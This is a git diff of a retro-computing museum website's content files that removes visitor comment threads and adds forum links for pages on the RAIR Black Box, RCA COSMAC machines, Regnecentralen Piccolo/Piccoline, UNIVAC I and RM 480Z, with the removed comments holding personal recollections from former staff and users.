(California) - date: Sunday 14th July 2002 - text: I wrote most of the OS customization code for this unit, and supervised most of the hardware design. In fact, it was an 8085, not Z80, based design, though later units used an 80286 or a dual 8086/8085 CPU board. The photo shows an early unit with one of the first Seagate ST506 drives ever produced, and a custom HD controller designed for RAIR by Xebec (later units used early Adaptec controllers). - - author: Dominic Turner (Bristol, UK) - date: Friday 26th May 2006 - text: |- - My father had one of these in the late 1970's - he set up a company called Computer Credit Control and this beast automated the process of taking late payers to court. Unfortunately the business model was flawed and it became a case of the "doctor that cured the patient" - pretty soon word got round that certain firms were using computers to chase creditors and the business dried up. I believe that the program was written by a guy called Tom Potts. - - I grew up with the Rair black box in the house, a terminal (that was a really spacey-looking combined keyboard and screen) and a monster daisy wheel printer (that for some reason also had a keyboard). In those days everybody assumed that the form letters it generated were typed by hand!! The noise of the printer was truly awesome - like something from a coal mine and it ate acres of pre-punched paper - headed paper was gummed to this and fed through. I remember when my dad upgraded to Winchester double density disks - he was over the moon about this quantuum leap in storage! - - My favorite programs (I think I was about 5 yrs old) were Gomuku (a sort of noughts and crosses) and a program that generated "poetry". My lasting memory was that it cheated at Gomuku and always won! - - My father was brain damaged in 1982 as a result of a hit and run accident on his push bike and subsequently never worked again.\ - I believe my mother has the RAIR Black Box somewhere though it hasn't been turned on since then. I myself have kept up the family tradition and have been programming ever since (though never on CP/M). - - author: Joel Abramson (England) - date: Wednesday 17th February 2021 - text: I remember Graham Nash. I worked in sales $ then support - - author: Joel Abramson (England) - date: Wednesday 17th February 2021 - text: I remember Graham Nash. I worked in sales $ then support - - author: Gary Evans (Bromley, Kent, England) - date: Thursday 16th July 2020 - text: I worked at TF/RAIR from September 1987 to March 1988 when I had a serious accident playing rugby, which left me paralysed. The company really looked after me and my direct boss Jim Prendergast supported me immensely after my accident. Would love to catch up with anyone who remembers me. - - author: kevin.elkins (UK) - date: Wednesday 22nd April 2020 - text: |- - The PC were rebranded as ICL PC which were further rebranded by BT as M2200 series and from what I can remember ran CP/M and MP/M operating system and we my first encounter with a HDD\ - I worked for BT Business System Support Unit from 1986 to 1988 and serviced these the M3300, M4000 (Logica kennet) and M5000 range (Bull)\ - I think I might still have one in my loft that I rescued from a skip outside EMA textiles in London.I can''t remember the accounts pack it ran but it did have Word Star word processor software on it - - author: Howard Sayles (United Kingdom) - date: Friday 28th February 2020 - text: Hi everybody. I stumbled across this during a bored moment at my 2nd home in Tel Aviv. I''m retired now and split my time between here and London. Its great just to see the names from my youth. Much nostalgia and too many memories to list them all here. Good luck to you all. - - author: Phil harris . philipharris160iq@gmail.com - date: Thursday 17th October 2019 - text: P.s. see other recent message.....is it true about dave f ? I know he had the neatest smallest hand writing ever...the other bit of news that he is not with us any more...phil h. - - author: Phil harris . philipharris160iq@gmail.com (Uk) - date: Thursday 17th October 2019 - text: Those where the days 81 to 85 . I left twice and went to altos mark got me back. Left again came back again .. if only we had dos as well as cpm mpm still it was a fun good money time. Kept in touch with roger chalke for a long time jp on and off during 80s and nineties and mark plus nashER and howard during tfb days when I was at uniplex. These days I have a great idea for text/netlingo branding for large choosen corporates ....big dosh if it works. Send me an email and tel no and I will call my mbl is +44 7852 912568 .......you know who U R . BEST REGARDS TO ALL R.A.I.R people....ps cant call abroad cheaply - - author: shawn (uk london) - date: Wednesday 9th October 2019 - text: |- - I got a few old polaroids of rair people, if any bod want copy''s, leave a contact here or something.\ - I will look back here some time when :-) - - author: Graham Nash (Bedfordshire, England) - date: Monday 12th August 2019 - text: |- - Hi all,\ - Wow, I am reading all these posts and many fantastic memories are flooding back of the time I had with Rair Ltd from 1981 to 1989! I remember Mark, Howard and Dave as if yesterday. I was interviewed by Mark , who had been at NCR, where I had been for the last 10 years selling big stuff for tens of thousands of pounds and then he shows me this tiny black suitcase in the corner of the board room at Wellington House, Upper St.Martins Lane and says it can do so much more for £3,500. I was hooked and went on to sell thousands of 3/20, 3/30’s and 3/50’s. Then onto the Supermicro!\ - Remember Tim, John Petit, the two Clares , Nial( with the campervan) , Tom Frazer,Phil, Richard Little, Bharat ,Camarl , Robert and the boys at the factory in Camden Town.\ - Hope to hear from one of you again , am enjoying my retirement .\ - Regards Graham Nash - - author: shawn (essex) - date: Sunday 29th July 2018 - text: Still miss you dude x - - author: $$/$wN (essex) - date: Sunday 18th March 2018 - text: https://www.ebay.co.uk/itm/263552051814?ssPageName$STRK:MESELX:IT$\_trksid$p3984.m1555.l2649 - - author: Tim Hill (USA) - date: Thursday 2nd June 2016 - text: Yes I remember Rick well, such nice guy, fun and smart, and such a tragedy .. we were all shocked that Monday morning I don''t think anyone even answered the phone all day. Sadly, Dave Fogden died about 5 years ago after a fight with cancer, I''ve lost touch with his family. Mark Potts is still in San Francisco, his son lives there also and is a full-time DJ, I see them from time to time. - - author: Bharat Ghayal (United States) - date: Tuesday 10th November 2015 - text: I just finished reading all the posts and it brought back some really good memories. I worked at RAIR as field service engineer and had lot of fun travelling UK and Europe supporting and training for repair of the PC''s. Remember Rick, Mark, Tim, Howard, John, Dave, Claire and Guenter. It was very sad with what happened to Rick. I was at the Camden offices. The best memory was going to a coal mine to repair a Black Box (clogged fan filter!). Also Amsterdam in the diamond center. Thanks Mark for allowing us to share in the success and memories... - - author: Robert (Essex/UK) - date: Monday 11th May 2015 - text: |- - Hi all, - - I''m Rick''s younger brother. I stumbled across this page by accident and just wanted to say that it was so nice find that he has at least a small presence on the www. - - I''m afraid I don''t know what happened to his videos. Our mother died a few years back and nothing of that nature was among her effects. - - Still miss you, Rick - - Robert - - author: Robert (Essex/UK) - date: Monday 11th May 2015 - text: |- - Hi all, - - I''m Rick''s younger brother. I stumbled across this page by accident and just wanted to say that it was so nice find that he has at least a small presence on the www. - - I''m afraid I don''t know what happened to his videos. Our mother died a few years back and nothing of that nature was among her effects. - - Still miss you, Rick - - Robert - - author: Robert Fogden (Monaco) - date: Sunday 19th October 2014 - text: Sorry, Claire - - author: Robert Fogden - date: Sunday 19th October 2014 - text: Dave married Clare, a lovely girl who did happen to be the receptionist at Rair, went to their marriage in Paris - - author: Robert Fogden (Monaco) - date: Sunday 19th October 2014 - text: |- - I''m one of Dave Fogdens younger brothers and wrote a number of applications in basic for the black box, including a debt collection application that did seem to produce a whole load of paper. - - I worked out of the Neal Street office, where the PDP timeshare machines were. - - They were also supporting the Wang word processors, and when that contract went away ( frauduantly as far as I knew, Wang salesman put everything in his name not Rairs and left with them), everything went bad. They, Dave and Mark went on to various things then Pervasic which was a mobile application platform where I also did some work with them and BT in their Leeds HQ, all ended in tears when Dave died. Nial worked there too. Mark did a runner back to SF owing a load of money to people. - - author: Steve (Norway) - date: Friday 30th May 2014 - text: |- - I found this during a nostalgia hunt for another computer that I worked on in my past. - - I was the first engineer hired by Rair to work on the Black Box. Before I started, Rick also handled the repairs himself. - - I worked for Wren for about 1.5 years before moving on.\ - But I remember Rick well, and it was so sad what happened, he was such a good guy, a work colleague and a friend. I do not fully understand what led to Ricks decision, but it was a terrible shock.\ - I still think about Rick from time to time. - - At the time I worked foe Rair, the computer was based on an 8085 and came with either 16/32/48 or 64k or RAM. - - I remember modifying one of the floppy controller cards so that I could easily step the floppy drives in and out. At that time we actually used to fix alignment problems on disks using a special calibration disk and an oscilloscope. - - I remember the first hard disk that was added, an 8" Winchester. It had a green tinted semi-transparent cover, so you see the actual workings (when the Black Box cover was not fitted), which was (I think from memory) 5Mb. It was in a separate case (same as the Black Box itself) and connected into the Black Box via a cable. - - The power supply for the Black Box was really something else. It was designed by a guy (Ian/John Nulty or McNulty I think? not 100$ sure that I remember the name correctly) who had previously designed power systems for satellites.\ - It was a switched mode power supply based on the Ferranti ZN1066 chip and was extremely reliable (probably a little over-engineered for the purpose of a computer, but.... then I cannot remember ever seeing a defective power supply ). - - There was also an early change to the Fan/filter/ventilation of the Black Box.\ - I remember receiving units back for repair from a customer where the boards were heavily covered in clay dust. - - Remember the 2 wiring guys, John $ Nigel?\ - And Carol the receptionist? - - Rair started off life providing time share services on a PDP-11/70. Originally based in Neal Street, we moved from there to Camden. I was no longer working at Rair when they moved from Camden. - - Good times! - - author: Tim Hill - date: Saturday 27th July 2013 - text: |- - @Roy: Good memory, the HQ of RAIR at the time was at the top end of St Martins Lane, on the 2nd floor if I recall. - - @Shawn: Yes, I remember Rick, as does Mark Potts. A great loss, such a nice guy, I still remember walking into the office the morning after he died'' such a shock. No idea about his home videos. I still have archived several notes about OS stuff Rock and I exchanged years ago... - - @Guenter: So good to hear you are still around!! I was told you weren''t with us any more (seriously). Not sure what Howard is up to, Mark Potts is living in SF and we get together maybe once a year or so for dinner. Sadly, Dave Fogden died of cancer about 4 years ago .. we all miss him. - - If anyone wants to contact me: drtimhill@gmail.com - - $Tim - - author: roy (uk) - date: Sunday 14th April 2013 - text: |- - At some point in the 1980s I shot a video for this company. Unless I''m mistaken - and often I am - the offices we shot in were on the first or second floor of a building at the Trafalgar Sq. end of St. Martins Lane.\ - And that''s about all I recall! - - author: mrkoolnerd (usa) - date: Saturday 15th January 2011 - text: i have one like new what are you willing to pay price wise - - author: Phil Shaw (Earth) - date: Friday 4th January 2008 - text: Hi, I was wondering the availability of the RAIR black box these days. - - author: Grenville Reeves (UK) - date: Thursday 13rd September 2007 - text: I was working in an office in the early eighties. We were using a couple of apple europas and were sold a rair black box, 4 monochrome screens and MPM mulit user operating system as an upgrade. It was very, very slow at the best of times but if one person started printing the rest of the screens just hung! After a couple of weeks we exchanged it for 4 stand alone pc's on CPM operating system. 2 of them had hard drives! oc_id: 454 source: url: https://web.archive.org/web/20230331024435/http://www.old-computers.com/museum/computer.asp?c=454 diff --git a/content/museum/rair-microcomputer-business-computer.md b/content/museum/rair-microcomputer-business-computer.md index c7904c1d..e799edd2 100644 --- a/content/museum/rair-microcomputer-business-computer.md +++ b/content/museum/rair-microcomputer-business-computer.md @@ -59,6 +59,7 @@ params: tabs: - photos - adverts + forum_thread: 1162 photos: - title: BUSINESS COMPUTER subtitle: '' @@ -73,30 +74,6 @@ params: subtitle: '' text: '' image: /media/museum/pubs/rair-business-computer_uk-pub_july-1984.jpg - comments: - - author: Guenter H Krauss (Germany) - date: Thursday 7th April 2011 - text: Well, well, this is so 1980ties, the good old days when everything sold. The RAIR BC was a great idea which competed with color-screen but no graphic against the early PC graphic. The Display was just a line-display terminal. It was pretty slow but sold well in Germany, but nowhere else. Especially it was OEMed to Pitney Bowes who sold the machines under their own name. I believe over 2000 units were sold during a few years. This was a big number then. The machines died quickly from power supply problems and heat. I remember we even ran them in heat room for 72 hours to ensure that the machine survives. - - author: David Evershed (UK) - date: Monday 17th February 2020 - text: |- - At Rothmans cigarette company we sought to use RAIR computers to distribute our computer systems from a central mainframe to local operations in factories, warehouses and offices around the UK. - - We took delivery of the first off the production line around 1981 and had only a few models for software development at first. - - We found that the machines were not powerful enough to do the jobs we had planned for them and had to change from distributed micro computers from RAIR\ - to distributed midi computers from ICL and later IBM. - - author: Pragnesh L Patel (San Jose, California USA) - date: Wednesday 9th May 2018 - text: |- - It was great time working with RAIR and DTI. In 81. Trough 98\ - At London, Germany and USA Bay are\ - Regards to all\ - From\ - Manisha and Pragnesh Patel - - author: Bharat Ghayal (United States) - date: Tuesday 10th November 2015 - text: I used to service these very early PC''s. Had great fun doing so with a fantastic and dynamic management team. We all lived a good life out of it. The PC''s were multi-tasking units that supported dumb terminals. CPM and MPM were the OS''s supported. Mark Potts was the main driver for great venture and he also opened offices in SF (USA), Germany, France. Enjoyed training Guenter''s technician''s. It was way ahead of its time. Long live "The Black Box". oc_id: 1194 source: url: https://web.archive.org/web/20230608162506/http://www.old-computers.com/museum/computer.asp?c=1194 diff --git a/content/museum/rca-cosmac-microtutor.md b/content/museum/rca-cosmac-microtutor.md index 1da60d91..6e0382c6 100644 --- a/content/museum/rca-cosmac-microtutor.md +++ b/content/museum/rca-cosmac-microtutor.md @@ -10,6 +10,7 @@ params: tabs: - photos - links + forum_thread: 1222 photos: - title: SYSTEM EXPLAINED subtitle: '' @@ -73,16 +74,6 @@ params: - title: Yahoo Groups - Cosmac Elf and 1802 based computers url: http://groups.yahoo.com/group/cosmacelf/ text: discussion group dedicated to RCA 1802 based micro computers - comments: - - author: Mario (Switzerland) - date: Sunday 14th February 2021 - text: '@Juan Suarez: yes, I''''m interested. Can you please send me a message to diverses ( at ) inbox ( dot ) com? Thank you, Mario' - - author: Juan Suarez (Brazil) - date: Sunday 7th June 2020 - text: I both microtutor I and II with Manual if. You need more information please let me know. My Father worked many years for RCA - - author: Mike Dalgleish (UK) - date: Monday 24th July 2017 - text: I''m interested in finding a microtutor. If you have one please $ me a line on md @ md46 . com oc_id: 1255 source: url: https://web.archive.org/web/20230603010019/http://www.old-computers.com/museum/computer.asp?c=1255 diff --git a/content/museum/rca-cosmac-vip.md b/content/museum/rca-cosmac-vip.md index a8a2510e..39f6ba28 100644 --- a/content/museum/rca-cosmac-vip.md +++ b/content/museum/rca-cosmac-vip.md @@ -15,6 +15,7 @@ params: - emulators - links - docs + forum_thread: 537 photos: - title: COSMAC VIP subtitle: '' @@ -157,36 +158,6 @@ params:  type of document : PDF\  size : 4,9 MB\  source : www.old-computers.com - comments: - - author: Jason Panosh (Alfredton, Australia) - date: Monday 4th August 2008 - text: |- - The Cosmac VIP was our first computer and my brother and I spent many hours programming it and having fun. Living in Australia, my Dad had it shipped from the US (via my Uncle) and we assembled one weekend. - - My brother learned the assembly language and he hacked the video subroutines and created some pretty interesting effects. I am sure it was not too good for the monitor, but one effect was to get the top of the display to fold back in itself (at least that is what it looked like). The he made a terrain type routine that looked like the ground curving onto the screen from the top and disappearing off the bottom. - - We added RAM to the board, we had one of our friends burn the CHIP8 language into a ROM and also had the ROM dual boot into two different load states (I think one had the CHIP8 loaded and the other didn’t). We got hold of the ASCII keyboard but never really did anything with it, it was a pretty cool keyboard and used a membrane rather than keys. Very hard to use as there was no tactile feedback at all. - - I used to take the Cosmac and a monitor to school and we would play it during recess. One of the games I wrote was a car racing game and to work around my limited knowledge of sprite collision detection I would draw one frame with the cars on it and test for collision, then draw another frame with the cars and scenery which did not detect for collision. As you can imagine, the scenery frame flickered quite a bit, but overall the game went pretty well and all my friends were pretty impressed. - - author: Mario (Switzerland) - date: Sunday 14th February 2021 - text: One of the CPU''s I''m very fond of is the CDP1802 by RCA. I had bought this RCA Integrated Circuits data book (I \*loved\* to read this kind of books) and there was that IC that at first I didn''t understand what it was doing (most of the others were from the TTL 74xx series), until it dawned on me that this was an entire computer in a single IC. One of the landmark events of my life... - - author: Shane Doyle (Australia) - date: Tuesday 17th July 2012 - text: I too imported a Cosmac kit from the US (to NZ at that time) in the early 70s, and built it. Great fun programming this thing in hex code ! - - author: Mike Dalgleish (United Kingdom) - date: Thursday 18th June 2009 - text: I designed vehicle traffic counters using the 1802 back in the late 70''s. I''m now trying to find any Cosmac kits or evaluation boards. Please $ me a line at md @ md46 . com if you have news of any 1802 stuff. Mike - - author: Kevin P. Kilburn (USA) - date: Wednesday 14th September 2005 - text: This probably doesn't qualify as useful info, but it's a bit of nostalgia for me. This is one of the first computers I actually saw in person and played around with. My father was in the process of opening a video/computer store called Computavid. His friend made a "coming soon" advertisement on this computer and he played it on a TV in the window of the store. This was back in 1980-81 and I was only 12 at the time. I found it to be absolutely amazing and it sparked my interest in computers. I wanted a computer like this, but my father ended up buying me a TRS-80 Model I system. Later when he began selling Commodore 64 computers in his store, I got one for Christmas. I still have it. - - author: Adnane (ALGERIA) - date: Wednesday 9th April 2003 - text: |- - First, I would ask a question about the CDP 1802 microprocessor : What's the meaning of the instruction which is writen in hexadecimal (68H)?\ - \- Is there a software to simulate the work of the CDP 1802 microprocessor during the execution of it's 91 instructions? - - Thank you very much related: - /museum/rca-superelf oc_id: 543 diff --git a/content/museum/rca-fred.md b/content/museum/rca-fred.md index 83e8cffd..4a6e4d85 100644 --- a/content/museum/rca-fred.md +++ b/content/museum/rca-fred.md @@ -10,6 +10,7 @@ params: tabs: - photos - software + forum_thread: 1273 photos: - title: FRED "FUN1" PROTOTYPE subtitle: '' diff --git a/content/museum/rca-studio-ii.md b/content/museum/rca-studio-ii.md index 38bc4e22..24bf14f9 100644 --- a/content/museum/rca-studio-ii.md +++ b/content/museum/rca-studio-ii.md @@ -13,6 +13,7 @@ params: - emulators - links - docs + forum_thread: 711 photos: - title: RCA STUDIO II subtitle: '' @@ -89,13 +90,6 @@ params:  compiled/archived by Richard Smedley / Paul Robson\  type of document : HTML\  source : [The RCA Studio 2 Emulator Home Page](http://studio2.classicgaming.gamespy.com) - comments: - - author: Dudley88 (Michigan/USA) - date: Thursday 19th December 2013 - text: A cousin of mine had this game when it came out. I was 9, he was 7. His parents went on vacation that year, and they asked my mom to babysit, and I also stayed there for the duration. I thought the game was pretty cool at first (back then, we referred to them as "TV games.") Of course, in 1977, ANY video game was cool to a 9 year old. My cousin and I mostly played the bowling game that was programmed into the console, but it only held our interest for short periods (I''ve seen videos on YouTube showing people playing it, so I now fully understand why). So we wound up spending most of my visit outside playing with our Tonka trucks. - - author: Spiderkeys (Australia) - date: Tuesday 10th December 2002 - text: I remember this machine well. I used to own one, but my must of been the Australia/Europe version with a black case. Mine had Colour. It had a blue background colour which i believe couldnt be changed. But in Pattens/Doodle use could use 8 or so colours. Also mine of missing 2 built in games. Maths, and Freeway but it had the other 3.. Bowling, Doodle and Patterns. related: - /museum/mustang-9016-telespiel-computer - /museum/soundic-victory-mpt-02 diff --git a/content/museum/rca-superelf.md b/content/museum/rca-superelf.md index 36bee865..e763fa6b 100644 --- a/content/museum/rca-superelf.md +++ b/content/museum/rca-superelf.md @@ -12,6 +12,7 @@ params: - emulators - links - docs + forum_thread: 888 photos: - title: ELECTRONIC BOARD subtitle: '' @@ -65,10 +66,6 @@ params:  type of document : PDF\  size : 4,9 MB\  source : www.old-computers.com - comments: - - author: GTBZdell (Canada) - date: Saturday 13rd July 2019 - text: I learned hexadecimal ml programming on this. Part of high school computer course. related: - /museum/rca-cosmac-vip oc_id: 908 diff --git a/content/museum/rca-system-00.md b/content/museum/rca-system-00.md index 4824bbd4..04213e37 100644 --- a/content/museum/rca-system-00.md +++ b/content/museum/rca-system-00.md @@ -56,6 +56,7 @@ params: - photos - links - docs + forum_thread: 1287 photos: - title: RCA SYSTEM 00 subtitle: '' diff --git a/content/museum/redant-game-axe.md b/content/museum/redant-game-axe.md index 5b387b87..34b6165d 100644 --- a/content/museum/redant-game-axe.md +++ b/content/museum/redant-game-axe.md @@ -11,6 +11,7 @@ params: - photos - hardware - links + forum_thread: 682 photos: - title: FIRST VERSION subtitle: '' diff --git a/content/museum/regnecentralen-rc-700-piccolo.md b/content/museum/regnecentralen-rc-700-piccolo.md index 7d11977e..06d0c7f2 100644 --- a/content/museum/regnecentralen-rc-700-piccolo.md +++ b/content/museum/regnecentralen-rc-700-piccolo.md @@ -64,6 +64,7 @@ params: - photos - adverts - links + forum_thread: 635 photos: - title: REAR subtitle: '' @@ -95,33 +96,6 @@ params: - title: DataMuseum.dk url: http://www.datamuseum.dk/site_dk/rc/ text: Some info about Regnecentralen and its computers - comments: - - author: toto - date: Tuesday 20th April 2021 - text: nice memories. Had even a 10MB winchester HD. And what about a daiswheel printer with a near 99dB noise level. But when the keyboard failed it was 2 months of tracking down the failing 10kB buffer memory :-(. With just a 10Mb osciloscoop Gave it away to some east-europeans. Never new if it was, as promised, for education or for all the gold used in these eary computer PCB''s. - - author: Anonymous (Netherlands) - date: Monday 16th May 2016 - text: 'To enhance my comment on 9th September 2010: This computer was used for training purposes in The Netherlands to educate young adults, (which already had a degree), with a special half-year course, for acquiring a job in the IT business. It was in the year 1985. I remember the operating system installed was CP/M and we programmed in the COBOL language.' - - author: Michael Ringgaard (Denmark) - date: Friday 1st August 2014 - text: |- - Back in 1981, my school, Sofiendalskolen in Aalborg, had a few RC700 systems, and I used them for learning to program in Pascal and COMAL. While most of these were RC702 systems, we also had an RC701 system, which I believe is quite rare. It had an 8" floppy disk drive and used a TV monitor for display. - - I have made a website with more information about the RC700 computer from Regnecentralen. The site has a simulator for the RC700, which you can download, or you can try the web-based version of the simulator. There is also a number of disk images with software for the RC700 which can be used with the simulator. - - I am interested in finding more software for the RC700. If you have any software on 5 1/4" floppy disks (original or not) made for (or compatible with) the RC700, please let me know. I have made a PC that can be used for reading these and create .IMD disk image files. - - author: Mark - date: Friday 11th July 2014 - text: This was my first computer experience. The Comal 80 book had a gold-colored cover. The computer was used for our school''s administration and had two 8" floppy drives. (No 5" drive) I believe the floppy could hold 1Mb of data, \~900Kb formatted. - - author: Peter Haagerup (Denmark) - date: Tuesday 6th August 2013 - text: |- - We have made the website http://rc700.dk dedicated to the RC759 PICCOLINE and RC750 Partner (maybe PICCOLO in the future). On this website, one can download manuals and disk images, and an emulator for the system is also available. New information is frequently added. - - We are very interested in getting more software and user manuals. If you have anything you think could contribute to the site, please let us know - we have the equipment to read floppy disks compatible with those systems, and try to rescue as much software as possible. See the Software section on the website for more information. - - author: Anonymous - date: Thursday 9th September 2010 - text: I learned the basics of my current IT job on this machine. You could install the spreadsheet Multiplan, the predecessor of Excel from Microsoft and use Wordstar as a text application. Also the CRT was with amber or green characters. When reading the floppy it made a loud ticking noise. oc_id: 650 source: url: https://web.archive.org/web/20230603123856/http://www.old-computers.com/museum/computer.asp?c=650 diff --git a/content/museum/regnecentralen-rc759-piccoline.md b/content/museum/regnecentralen-rc759-piccoline.md index b2158381..64d620cd 100644 --- a/content/museum/regnecentralen-rc759-piccoline.md +++ b/content/museum/regnecentralen-rc759-piccoline.md @@ -65,6 +65,7 @@ params: tabs: - photos - software + forum_thread: 1140 photos: - title: RUNNING PICCOLINE subtitle: '' @@ -99,48 +100,6 @@ params: subtitle: '' text: '' image: /media/museum/software/regnecentralen_piccoline_pacman_s1.jpg - comments: - - author: fritz - date: Monday 7th May 2018 - text: |- - http://oldcomputers.dyndns.org/public/pub/manuals/partner_rc750_bw_ger.pdf - - Rc750 PARTNER Installationsanleitung. Stichworte: Rc750 ''PARTNER Installation, Instandhaltung, Programme, Hardware.\ - D - - author: Peter Haagerup (Denmark) - date: Tuesday 6th August 2013 - text: |- - We have made the website http://rc700.dk dedicated to the RC759 PICCOLINE and RC750 Partner. On this website, one can download manuals and disk images, and an emulator for the system is also available. New information is frequently added. - - We are very interested in getting more software and user manuals. If you have anything you think could contribute to the site, please let us know - we have the equipment to read floppy disks compatible with those systems, and try to rescue as much software as possible. See the Software section on the website for more information. - - author: Jes Jensen - date: Tuesday 10th April 2012 - text: |- - When i was in "gymnasium" in denmark we upgraded the old picolo, to these new fine piccoline. - - In our configuration there were at the beginning 4 picoline connected to 1 piccoline with floppy disk, later on all computers were connected into a network with a server called PARTNER (a grown up piccoline) with a 12 mb harddrive (I think i can remember) - those were the days. - - author: Maciej (Poland) - date: Friday 18th November 2011 - text: |- - Graphical resolution: 560x275 - 2 colors or 280x275 - 4 colors$\ - Processor speed: 6MHz - - more info here: http://www.datamuseum.dk/site_dk/rc/piccoline/piccolinehw/ - - author: Ulrik Hansen (Copenhagen, Denmark) - date: Thursday 22nd April 2010 - text: I also remember this one from primary school back in the eighties. They seemed so serious compared to the C64s and ZX Spectrums common at home. I only recently found out they were made by Regnecentralen. - - author: Daniel Nielsen (Malmö, Sweden) - date: Thursday 22nd November 2007 - text: |- - This is the first computer I sat and "worked" with. I think it must have been back in 1987 (1st grade and me being 7 years old).\ - At my school (Aavangsskolen on Bornholm) we had a room with two "islands" of these machines, as far as I can remember it was a terminal system, one would have disc-drives (5.25") in which we would load a disc, and then all the machines would load. giving us opportunity to play different games. - - There was one turn button for the brightness of the screen (in outmost position it switched off) and one dial button for sound.\ - I remember a "happy" sound for correct answers in teh games and a "not so happy" sound when incorrect.\ - I think we used them for 2-3 years untill the room was upgraded to 286 PC's running Windows 3.1 at 12 and 25 Mhz, I might be wrong about this. - - author: Lars (Greve, Denmark) - date: Friday 10th February 2006 - text: I remember going to Solroed Gymnasium (high school) back in 1994 or 95, where the school upgraded their PC room. They took out all the old picolines, and proceeded to smash them to bits, with big hammers in front of all the students who applauded this act. Except me... I felt sorry for the old machines... oc_id: 1171 source: url: https://web.archive.org/web/20230627232550/http://www.old-computers.com/museum/computer.asp?c=1171 diff --git a/content/museum/remington-rand-univac-1.md b/content/museum/remington-rand-univac-1.md index 0f92c8c7..c0d9e17f 100644 --- a/content/museum/remington-rand-univac-1.md +++ b/content/museum/remington-rand-univac-1.md @@ -49,6 +49,7 @@ params: tabs: - emulators - links + forum_thread: 948 emulators: - title: UNIVAC simulator url: http://www.ingerman.org/niche.htm#UNIVAC @@ -64,52 +65,6 @@ params: - title: Very complete and detailed page about the Univac 1 url: http://mywebpage.netscape.com/reitery2k/univac1.htm text: '' - comments: - - author: Ardis Noyes Rettich - date: Tuesday 21st July 2015 - text: Picture is of me operating the UNIVAC l in 1960 or 61. - - author: Ardis Noyes Rettich (United States) - date: Tuesday 21st July 2015 - text: Picture of me taken for a magazine at Remington Rand in Buffalo, NY. Picture is on my FB page. How do I get it to you? Ardis - - author: computer guy (USA) - date: Saturday 4th February 2012 - text: Wasn''t the first computer built in 1936? I''m not sure - - author: Computer - date: Thursday 3rd November 2011 - text: The first computer not commercial was the ENIAC - - author: James Sandford (United Kingdom) - date: Saturday 2nd October 2010 - text: I''d just like to say, this computer was not the first to store programs and data in the same memory and I would argue not the first modern digital computer. The Small Scale Experimental Machine also known as Baby or The Manchester Mark 1 Prototype came online in 1948. This machine was the worlds first stored program computer and was built with the sole purpose of testing it''s cathode ray tube memory (also making this an earlier computer not to be built to replace a mechanical computer than the Whirlwind). The machine could hold 32 words of 32 bit length and had 7 instructions with subtraction but no addition. The machine had a typewriter for input, a cathode ray tube output, RAM, an accumulator and an accumulator so had all the major components of a modern computer. I help maintain a replica at the Museum of Science and Industry in Manchester in the UK. We''re currently carrying out repairs on the machine and an interesting offshoot of the current position is we have discovered - we can run this valve machine which fills a room off of a regular household plug. - - author: Daniel (Switzerland) - date: Saturday 15th November 2008 - text: I think with commercial computer they mean that it was the first to be actually produced and marketed as a product that anyone could by (anyone who could afford it.) Remember that the Z4 was still a unique computer of which only one was built. The UNIVAC was the first one to go into actual serial production. - - author: Thinker (Germany) - date: Wednesday 3rd August 2005 - text: The Univac 1 was NOT the first commercial computer. The first commercial computer was the Zuse Z4 from 1950 - - author: j4ck (us) - date: Monday 28th March 2005 - text: has anyone ported linux to it? - - author: David (Spain) - date: Thursday 4th November 2004 - text: |- - About the question if vacuum tubes were hot... yes, a vacuum tube was like an light bulb, it had a filament that warmed up to 900 ºC (about 1650 Fahrenheit degrees), when the thing was powered it turned to bright orange. In this way, the electrons could go from the catode that was heated by this filament to an anode, by applying several hundreds of volts between them. By placing a grid between the anode and the catode, you could control the intensity of the current at the anode by varying the voltage of the grid. - - In fact, the bulb of the vaccum tubes could get 50 or 60 ºC (about 120 to 140 Fahrenheit), less than the heat generated by a modern CPU, but if you add the heat produced by 5000 tubes, the technicians shouldn't take a cold easily. - - (Sorry if my English is not very good, I have learned it by the public schools of Spain ;) - - author: Daniel Saner (Switzerland) - date: Tuesday 26th October 2004 - text: There actually is an emulator for this machine, and the Univac II. You can find it as shareware on SimTel, just visit www.simtel.net and search the Software Archive for "Univac" and you should be able to get it. It has been coded by one of the original Univac programmers! - - author: Eric (Pa) - date: Wednesday 25th February 2004 - text: I seriously think an emulator would work for this... - - author: BHTooEFR (USA) - date: Monday 15th December 2003 - text: |- - How about an emulator for this thing? I DON'T think I'd find one on the sales forums \*ducks\*, but I'd like to see this old beast in action, even if it's only on a Celery that weighs 2600 times less, and costed about 935 times less - with a printer. - - Just think of a casemod on one of those things, though... you could throw a HUGE beowulf cluster in there on rackmounts. How quickly did the vactube array run? I mean, could you measure that in Hz, even? Also, how HOT did the thing get? Were vacuum tubes hot, or were they really cool? I mean, heat output of high-end desktop CPUs has gone up as the process size has gone down. E-mail me with the information - my e-mail is backwards for spam protection (I'll munge it less if I ever get around to setting up my spam filter again), and has a .NOSPAM on the end - remove the .NOSPAM, and then reverse it. oc_id: 973 source: url: https://web.archive.org/web/20230627150804/http://www.old-computers.com/museum/computer.asp?c=973 diff --git a/content/museum/research-machines-link-480z.md b/content/museum/research-machines-link-480z.md index def3e610..a337cb42 100644 --- a/content/museum/research-machines-link-480z.md +++ b/content/museum/research-machines-link-480z.md @@ -67,6 +67,7 @@ params: - hardware - links - docs + forum_thread: 589 photos: - title: CP/M SYSTEM subtitle: '' @@ -155,50 +156,6 @@ params:  type of document : ZIP\  source : old-computers.com - comments: - - author: Richard (UK) - date: Saturday 24th September 2016 - text: In our secondary school computer lab in Banbury we had eight of these around the edges of the classroom. I''m sure we did some LOGO type programmes on them. There was an BBC Archimedes 310M in the corner running Arthur (RiscOS) and a PC emulator. We weren''t allowed to touch the Arch. - - author: Jon - date: Friday 6th December 2013 - text: I remember my primary school getting one of these. It was on a huge wooden trolley with the monitor etc. and each class would take it in turns to have it for half a day. The first time our class had it the teacher eventually managed to get a program running that taught us all how to tell the time! I thought it was all so futuristic! - - author: Ash (Didcot, United Kingdom) - date: Wednesday 31st August 2011 - text: We had 480Z''s in secondary school linked to a twin floppy 380Z "server" at the front of the classroom. I remember the teacher $ing 2x discs which I think had the same content and then instructing us to wait until he''d loaded the program onto his 480Z first. Then it would be our turn, with the workload split between the two server drives - a kind of load balancing system. Best way to wind up the teacher was for the entire class to jump the gun in unison $ get loading first! - - author: ghoolster - date: Sunday 5th December 2010 - text: Goto the yahoo group 380z, have posted answer there... - - author: Dave (UK) - date: Saturday 18th September 2010 - text: I have a 480Z and an MD1 floppy drive in the loft, I''d been after them for years.... I didn''t get the serial cable that connects them together though. Does anyone out there know how to wire one up? Cheers, Dave - - author: Carl (Los Angeles) - date: 